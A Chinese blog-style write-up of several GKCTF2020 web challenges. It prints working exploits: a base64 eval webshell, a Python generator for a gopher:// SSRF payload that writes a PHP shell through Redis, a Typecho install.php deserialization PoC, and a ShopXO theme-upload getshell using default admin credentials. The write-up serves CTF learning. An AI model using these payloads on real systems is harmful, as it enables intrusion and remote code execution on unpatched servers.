GKCTF2020部分web复现

又留了两道node。。。。。留着做个综合吧。。。

CheckIN

打开靶机即得源码

<title>Check_In</title>
<?php 
highlight_file(__FILE__);
class ClassName
{
        public $code = null;
        public $decode = null;
        function __construct()
        {
                $this->code = @$this->x()['Ginkgo'];
                $this->decode = @base64_decode( $this->code );
                @Eval($this->decode);
        }

        public function x()
        {
                return $_REQUEST;
        }
}
new ClassName();

接受get或post形式传入的Ginkgo,并base64解码执行

解题

那么构造一句话,由于这里是eval执行,相当于自动加php标签,所以只要构造eval($_POST['a']); => ZXZhbCgkX1BPU1RbJ2EnXSk7即可

用蚁剑连上,给了个readflag的脚本,php版本是7.3,考虑php7-gc-bypass

找个有上传权限的目录上传bypass脚本,红框内是执行的命令

tmp下上传

接着包含该文件即可bypass

把之前的命令改为执行readflag脚本即可

cve版签到

给了提示是cve-2020-7066,搜集下信息

PHP 7.2.29之前的7.2.x版本、7.3.16之前的7.3.x版本和7.4.4之前的7.4.x版本中的‘get_headers()’函数存在安全漏洞。攻击者可利用该漏洞造成信息泄露。

参考:https://bugs.php.net/bug.php?id=79329

即get_headers()函数在一个空字节后会被无提示地截断

解题

打开靶机提示点击view ctfhub,跳转后url如下

参考文章中示例构造http://127.0.0.1\0www.ctfhub.com

由于是url传入,改为%00替代空字节

提示了必须以123结尾,改一下即可

老八小超市儿

打开靶机是shopxo

百度下有没有已知的漏洞

找到一个后台getshell,参考文章:http://www.nctry.com/1660.html

解题

首先用默认账号密码登录后台,admin,shopxo

到应用商店下载默认主题

往压缩包里加入shell

找到主题安装位置上传加入shell之后的压缩包

访问/public/static/index/default/oneword.php即可getshell

用蚁剑连,根目录flag下提示在root

但root设置了权限不可读,注意到根目录下还有一个auto.sh,查看

每隔一分钟执行一次makeflaghint.py,看下这个脚本

获取当前时间并写入flag.hint,那么我们利用这个脚本的root权限读出root下的flag并写入到flag.hint即可

得到flag

EZ三剑客-EzWeb

打开靶机只有一个提交框

源码处发现注释

提交访问返回类似ifconfig的结果

eth0      Link encap:Ethernet  HWaddr 02:42:ad:1f:54:0a  
          inet addr:173.31.84.10  Bcast:173.31.84.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1450  Metric:1
          RX packets:34 errors:0 dropped:0 overruns:0 frame:0
          TX packets:33 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:6058 (6.0 KB)  TX bytes:5729 (5.7 KB)

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

得到内网ip,访问看看

会回显首页内容

看看内网里还有没有其他页面,burp爆破一下

扫到以下主机存活

依次访问看看,其他没啥发现,访问11的时候提示扫它的端口

太容易429了。。直接看的wp跑了一下6300-6400,发现开放了6379

6379是redis的默认端口号

考点:Redis配合gopher协议进行SSRF

未授权访问Redis服务器

参考文章

直接拿的脚本,php代码执行命令结果写入shell.php

import urllib
protocol="gopher://"
ip="173.31.84.11"#探测主机
port="6379"
shell="\n\n<?php system(\"cat /flag\");?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print payload

生成gopher://173.31.84.11:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20system%28%22cat%20/flag%22%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

在输入框内输入提交,然而一直转。。。了好久,以为靶机问题中间还重启了下靶机,然后等不了手动停了,访问http://173.31.84.11/shell.php已经有了flag,嗯。。。神奇

EZ三剑客-EzTypecho

题目给了源码,打开靶机是Typecho博客的安装程序但不让安装

在给出源码的changelog.txt里我们可以看到源码版本

百度下发现老版本有个install.php处反序列化漏洞。

参考文章:https://blog.csdn.net/weixin_44005410/article/details/90385856

解题

直接拿了参考文章师傅的poc生成payload

<?php
$CMD = 'system("cat /flag")';

class Typecho_Feed
{
        const RSS2 = 'RSS 2.0';
        const ATOM1 = 'ATOM 1.0';

        private $_type;
        private $_items;

        public function __construct() {
                //$this->_type = $this::RSS2;

                $this->_type = $this::ATOM1;
                $this->_items[0] = array(
                        'category' => array(new Typecho_Request()),
                        'author' => new Typecho_Request(),
                );
        }
}

class Typecho_Request
{
        private $_params = array();
        private $_filter = array();

        public function __construct() {
                $this->_params['screenName'] = $GLOBALS[CMD];
                $this->_filter[0] = 'assert';
        }
}

$exp = array(
        'adapter' => new Typecho_Feed(),
        'prefix'  => 'typecho_'
);

echo base64_encode(serialize($exp));
?>

然后按照文章中说的post传入payload即可,要注意一下保证referer是本站

发表评论